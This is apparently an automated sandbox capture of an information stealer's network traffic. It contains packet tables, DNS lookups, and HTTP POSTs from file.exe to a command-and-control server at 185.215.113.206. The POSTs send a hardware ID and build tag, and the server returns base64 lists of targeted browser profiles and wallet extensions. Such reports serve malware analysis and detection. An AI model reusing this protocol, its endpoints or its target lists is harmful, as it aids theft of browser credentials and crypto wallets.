Nov 23, 2024 17:46:11.048516989 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.048542023 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.048561096 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.049726963 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.049773932 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.049813986 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.049856901 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.051153898 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.051199913 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.051232100 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.051275015 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.052242041 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.052289009 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.052325010 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.052366018 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.053487062 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.053563118 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.053586006 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.053615093 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.221812010 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.221873999 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.221894026 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.221925020 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.222371101 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.222547054 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.222595930 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.222639084 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.222661018 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.222702026 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.223874092 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.223932028 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.223963976 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.224004984 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.225097895 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.225141048 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.225197077 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.225238085 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.226326942 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.226372957 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.226438999 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.226479053 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.227598906 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.227638006 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.227745056 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.227787971 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.228852034 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.228893995 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.228948116 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.228996038 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.230074883 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.230118990 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.230175018 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.230226994 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.231340885 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.231394053 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.231491089 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.231535912 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.232588053 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.232635975 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.232695103 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.232742071 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.233819008 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.233861923 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.233936071 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.233973980 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.235096931 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.235141993 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.235233068 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.235275984 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.236318111 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.236351967 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.236469984 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.236505985 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.237566948 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.237617970 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.237674952 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.237716913 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.238818884 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.238873005 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.238876104 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.238913059 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.240101099 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.240147114 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.240215063 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.240261078 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.241290092 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.241338968 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.241440058 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.241481066 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.242547989 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.242593050 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.242686987 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.242727041 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.243918896 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.243963003 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.244013071 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.244052887 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.245071888 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.245120049 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.245171070 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.245212078 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.246298075 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.246346951 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.246401072 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.246442080 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.247539997 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.247587919 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.247672081 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.247711897 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.248764992 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.248816967 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.248871088 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.248910904 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.250036001 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.250082016 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.250119925 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.250159025 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.251303911 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.251353025 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.251399994 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.251439095 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.252537012 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.252585888 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.252630949 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.252672911 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.253876925 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.253926039 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.254096031 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.254158974 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.255037069 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.255084038 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.255162001 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.255203962 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.256273985 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.256321907 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.256372929 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.256412983 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.257509947 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.257553101 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.257615089 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.257657051 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.258807898 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.258858919 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.258878946 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.258915901 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.260003090 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.260047913 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.260112047 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.260153055 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.261288881 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.261332989 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.261414051 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.261455059 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.262511015 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.262552023 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.262664080 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.262701988 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.263760090 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.263801098 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.263890028 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.263931036 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.265008926 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.265083075 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.265202045 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.265249014 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.266277075 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.266321898 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.266379118 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.266422033 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.267508030 CET	80	49910	31.41.244.11	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 17:44:20.025811911 CET	192.168.2.4	1.1.1.1	0xf546	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 17:44:20.025917053 CET	192.168.2.4	1.1.1.1	0xe7cb	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 17:44:20.214585066 CET	1.1.1.1	192.168.2.4	0xf546	No error (0)	www.google.com		216.58.208.228	A (IP address)	IN (0x0001)	false
Nov 23, 2024 17:44:20.214695930 CET	1.1.1.1	192.168.2.4	0xe7cb	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	2080	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 17:44:09.125351906 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 17:44:10.798162937 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 17:44:10.802416086 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 43 34 36 42 33 34 34 31 45 42 33 32 39 34 35 36 34 35 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="hwid"B8C46B3441EB3294564547------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="build"mars------KJKFBAFIDAEBFHJKJEBF--
Nov 23, 2024 17:44:11.321757078 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 47 59 31 4d 6a 68 6c 5a 47 4d 77 5a 54 41 77 5a 54 6c 68 4e 57 51 79 4e 7a 63 30 59 54 6c 68 4d 57 4d 7a 4f 54 4e 68 4d 54 4a 6d 59 32 55 31 5a 6a 4d 7a 4e 7a 45 34 4d 47 51 77 4f 44 63 7a 4e 47 55 32 4d 6a 41 33 4e 54 5a 6a 4d 6a 63 7a 4e 54 41 30 4e 54 55 31 4f 57 4d 7a 59 6a 49 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZGY1MjhlZGMwZTAwZTlhNWQyNzc0YTlhMWMzOTNhMTJmY2U1ZjMzNzE4MGQwODczNGU2MjA3NTZjMjczNTA0NTU1OWMzYjIxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 23, 2024 17:44:11.330554962 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="message"browsers------JDAKJJDBGCAKKFHIJEGH--
Nov 23, 2024 17:44:11.993429899 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 23, 2024 17:44:11.993491888 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 23, 2024 17:44:11.995445967 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="message"plugins------AAKJKJDGCGDBGDHIJKJE--
Nov 23, 2024 17:44:12.619663954 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 